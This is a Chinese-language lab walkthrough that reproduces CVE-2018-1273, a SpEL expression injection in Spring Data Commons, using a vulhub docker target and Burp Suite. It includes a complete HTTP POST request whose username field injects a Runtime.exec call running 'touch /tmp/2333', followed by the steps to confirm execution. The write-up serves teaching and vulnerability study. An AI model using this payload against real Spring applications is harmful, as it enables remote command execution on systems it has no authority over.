CVE-2018-1273 Spring Data Commons 遠程命令執行漏洞復現

1、漏洞描述

Spring Data是一個用於簡化數據庫訪問,並支持雲服務的開源框架,Spring Data Commons是Spring Data下全部子項目共享的基礎框架。Spring Data Commons 在2.0.5及之前版本中,存在一處SpEL表達式注入漏洞,攻擊者能夠注入惡意SpEL表達式以執行任意命令。

2、漏洞環境搭建

須要準備的工具以下:

1.docker+vulhub漏洞庫
2.Burpsuite
3.靶機Ubuntu18.04虛擬機(其餘也能夠)

打開Ubuntu虛擬機,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程不少,這裏就很少介紹了)html

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273#

執行命令java

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d

等到出現如下頁面證實已經搭建完成

能夠訪問http://your-ip:8080,出現以下頁面證實環境搭建成功!
web

3、漏洞利用

一、註冊用戶,提交抓包

二、構造payload,進行發包測試

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.1.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://192.168.1.17:8080
Connection: close
Referer: http://192.168.1.17:8080/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=

服務器返回以下頁面時,證實攻擊成功!
spring

三、進入Ubuntu環境中,執行

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash
進入目錄,查看tmp下的目錄成功出現2333文件,命令執行成功!
docker

四、關閉docker環境

docker-compose down
數據庫

相關文章
相關標籤/搜索